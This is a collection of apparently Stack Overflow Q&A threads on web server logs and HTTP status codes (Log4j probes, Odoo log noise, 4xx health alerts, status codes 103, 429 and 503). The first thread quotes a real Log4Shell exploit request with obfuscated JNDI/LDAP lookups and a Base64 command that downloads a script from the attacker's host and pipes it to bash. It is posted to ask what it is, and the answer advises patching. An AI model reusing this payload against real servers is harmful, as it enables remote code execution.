I see this entry in my apache access log, is anyone having an Idea what does it mean?
195.54.160.149 - - [24/Dec/2021:17:30:03 +0000] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 10937 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==}"
This is an exploit for the recent Log4j vulnerability. If you use Log4j anywhere you should ensure it is updated immediately. Otherwise, it's safe to disregard the attacks.
There is currently mass exploitation of this issue, so you will undoubtedly see these requests for a long time to come.
Related
When the Odoo server is launched, it regulary process some Long Polling Request which are logged like this:
2018-08-22 19:13:31,231 22813 INFO my_data_base werkzeug: 127.0.0.1 - - [22/Aug/2018 19:13:31] "POST /longpolling/poll HTTP/1.1" 200 -
I'm wondering if a way exists to hide them because it's annoying when you are debugging with pdb for example.
I know I could set the flag --log-handler to :WARNING level but it makes the server really quiet and I don't like that. There is few log levels: NOTSET, DEBUG, INFO, WARNING, ERROR and CRITICAL.
Any help would be appreciate
Set log_handler = *:DEBUG,werkzeug:CRITICAL
That way you can see only the critical messages coming from werkzeug and debug from everywhere else, change this according to your needs.
I have a web application deployed on AWS Elastic Beanstalk with Apache Tomcat, and often receive environment health transition emails.
In my access logs, I'm finding lines like:
10.2.31.206 (183.196.36.238, 10.2.31.206) - - [28/Aug/2017:13:13:24 +0000] "HEAD /mysql/admin/ HTTP/1.1" 404 - "-" "Mozilla/5.0 Jorgee"
Does anyone know of a way to reduce the email spam other than switching from Enhanced to Basic Health Reporting? Perhaps completely blocking specific user agents or ignoring HTTP 4xx errors?
It is now possible (Aug 2018) to configure health reporting to ignore HTTP 4xx errors:
Elastic Beanstalk enhanced health reporting relies on a set of rules
to determine the health of your environment. Some of these rules might
not be appropriate for your particular application. A common case is
when frequent HTTP client (4xx) errors are expected, for example, as a
result of using client-side test tools.
See: https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/health-enhanced-rules.html#health-enhanced-rules.console
Having said that, I seem to be able to get that to work, but get an error when visiting the "configuration" page for the environment (although eb config <env> works ok).
We have a Tomcat 7 running behind an Apache2 Server, connected via AJP.
Some AJAX-Requests we receive at the Tomcat do not contain any request Parameters.
This applies to GET and to POST requests as well.
Inspecting the Apache access_log the requests were all answered with a HTTP Status Code of 103:
IP - - [SNIP] "POST /redacted/ticket/1234567 HTTP/1.1" 103 655 "https://redactedhost.com/redacted/ticket/1234567" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
I can't figure where this Status Code comes from. Has anybody ever heard of it? As far as I have examined it is not a Custom Response from our Application and it is not defined in our Tomcat or Apache configuration.
HTTP 103 has been approved as status code for indicating hints to client.
More details here IETF
Official IANA Registry [1] says that code 103 is unassigned.
Some googling finds "103 Checkpoint" from "Resumable HTTP Requests Proposal" [2] [3] (I don't know whether that document in [3] is up-to-date, it is just from first page of search results. Usually such proposals should go further as an IETF draft). Note that it is not official, and response code 308 from [3] has already been assigned for different purpose by RFC 7538 [1].
As far as I have examined it is not a Custom Response from our Application
If it is not in plain view, it may be one of filters that you are using. Look through your libraries. You may try running with a debugger.
Do you see that response code at Apache HTTPD side only, or in Tomcat access log as well?
The Status Code 103 was an "unofficial" implementation which ended up in some (very few) products/software source codes, reason why people stumbled upon it in (rare) occasions.
History tells that the Status Code 103 was planned to respond when the request was installation/implementation dependent, which means its should appear when something (required) was missing or faulty in the Server installation or Network.
The message "Access denied while creating Web Service" was originally intended for the Status Code 103, but only few implementations used it. There were also cases it was simply translated as "Checkpoint".
For a while those messages made little to no sense, and the Status Code 103 was kept listed as "unofficial", until when it was deprecated even before becoming official, which happened some point in time around 2012.
However, in December 20, 2017, suggested by K. Oku, the IETF (Internet Engineering Task Force) retrieved and reset the Status Code 103 from "Deprecated" to "Experimental", retrofitting it as "Early Hints", as it has been listed in the RFC 8297.
You can read more its new purpose and utilization here: An HTTP Status Code for Indicating Hints
In 2018 The Status Code 103 was officially listed in the IANA HTTP Registry, even before being set as official by the IETF. Based on that, the odds are that the new meaning of the Status Code 103 should be safe to use and soon enough it shall became "official" by the IETF too. That is how it has been happening for a long time for other Status Codes.
I must express my appreciation and thank Ujjwal Gulecha for taking the time to bring this information forward on an old thread. It helps a lot keeping the information up-to-date in Stack Overflow when something in the industry change and affect the answers provided. Good job, bother!
Background
We have been running an application on JBoss that is exposed to the clients via an Apache Reverse Proxy. We recently introduced "HTTP 429 Too many requests" to slow down high velocity requests.
Problem
However, it seems that apache2 changes the HTTP status code from 429 to 500.
Root cause analysis
Confirmed from JBoss that it sends HTTP 429, by bypassing the proxy, and talking to it directly.
Confirmed from /var/log/apache2/access.log, that apache2 gets HTTP 429
10.0.0.161 - - [16/Jul/2014:07:27:47 +0000] "POST /the/URL/ HTTP/1.1" 429 1018 "-" "curl/7.36.0" |0/466110|
Curl Client gets 500, somehow.
There's also been a bug filed few years back on Bugzilla #900827. I remember reading that it has been fixed in 2.2.18. Yet, I still face the problem -- which leads me to think there's probably a different problem altogether.
Questions
As I have read elsewhere, Apache might not relay the code perfectly for custom HTTP status codes. But isn't HTTP 429 as a part of additional HTTP status codes RFC, a standard code enough to be recognised and relayed?
Is there something crucial that I am missing here?
PS: Since this question is more about HTTP status spec, I asked here. If the community feels its more about apache, please feel free to vote to move the question to Server Fault.
I just stumbled upon your question because i was once again researching a similar problem, where our Apache Reverse Proxy returned a 500 status code on an ActiveSync Response 449.
I also found the Bugzilla entry you mentioned and the statments that it should have been fixed with version 2.2.18, however we use 2.2.22 and still faced the problem.
After further reading into the comments in the Bugzilla entry which then lead to the apache bug entry #44995. Reading these comments, especially the last one lead me to the believe that the issue, especially with custom error codes without status message has not been fixed in any 2.2.x versions but is included in 2.3/2.4
So we moved on and updated our reverse proxy to a 2.4 version, and to our surprise the error code 449 was correctly passed over by the proxy.
As you didnt mentioned your apache2 version used, i can only guess that an update to 2.4 or 2.3 might be a possible solution for you.
If you have to take a site down for some type of unavoidable maintenance task (and it's not a big enough site that you have a backup server), what HTTP status code should you have your server return to minimize the possibility that search engines will think the site is gone?
I found this list of status codes from W3C, of which the following seem applicable:
503 Service Unavailable
500 Internal Server Error
408 Timeout
404 Not Found
I think 503 is the most appropriate, but I don't know what search engines might prefer.
From the horse's mouth:
If my site is down for maintenance, how can I tell Googlebot to come back later rather than to index the "down for maintenance" page?
You should configure your server to return a status of 503 (network unavailable) rather than 200 (successful). That lets Googlebot know to try the pages again later.
Don't send a 404 -- they may remove you from their index.
I'd probably send a 503 and an appropriate Retry-After, although I don't know if anything actually uses the header.
According to Google the 503 code would be the way to go, since it means "the server is temporarily unavailable."
Also check out the W3C page on the same.